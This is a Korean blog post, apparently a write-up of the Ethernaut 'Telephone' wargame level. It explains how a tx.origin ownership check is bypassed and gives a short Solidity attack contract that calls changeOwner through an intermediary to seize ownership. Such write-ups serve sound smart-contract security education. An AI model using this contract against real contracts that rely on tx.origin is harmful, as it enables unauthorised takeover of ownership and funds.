Tyojong
[The Ethernaut] Telephone 본문
문제 설명

코드 분석

처음 배포자가 owner로 설정되고 changeOwner에 주소를 넣고 호출 시 넣은 주소가 owner가 된다.
단, changeOwner함수를 호출한 주소(msg.sender)가 트랜잭션을 시작한 주소(tx.origin)랑 동일하면 안된다.
즉, 공격자가 changeOwner함수를 직접 호출해 owner를 설정하면 적용되지 않는다.
익스플로잇
msg.sender의 경우 스마트 컨트랙트 또는 사용자(EOA)의 주소를 받아온다.
하지만 tx.origin의 경우 사용자(EOA)의 주소만 가져온다.
공격 컨트랙트를 생성해 컨트랙트에서 changeOwner를 호출하면 msg.sender는 공격 컨트랙트의 주소가 되고 tx.origin의 경우 사용자의 주소가 되어 owner를 변경할 수 있게된다.
공격 컨트랙트 코드
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface ITelephone {
function changeOwner(address _owner) external;
}
contract AttackTelephone {
function attack(address _target, address _attacker) public {
ITelephone(_target).changeOwner(_attacker);
}
}
interface를 통해 문제 코드의 changeOwner 함수를 가져오고
AttackTelephone컨트랙트의 attack 함수에 문제 코드의 changeOwner함수를 호출하는 코드를 넣는다.
(_target의 문제 인스턴스 주소를 넣으면 문제코드의 changeOwner함수가 호출되고 _attacker에 변경할 owner의 주소를 넣으면 문제 코드의 changeOwner함수로 _attacker인자가 넘어가 owner가 변경된다.)

해당 공격 컨트랙트 배포 후 공격 컨트랙트를 호출하면


owner가 나의 주소로 변경된것을 확인할 수 있다.
'web3 > The Ethernaut' 카테고리의 다른 글
| [The Ethernaut] Token (0) | 2026.01.26 |
|---|---|
| [The Ethernaut] Coin Flip (0) | 2026.01.26 |
| [The Ethernaut] Fallout (2) | 2026.01.02 |
| [The Ethernaut] Fallback (0) | 2025.09.13 |
| [The Ethernaut] Hello Ethernaut (0) | 2025.09.08 |
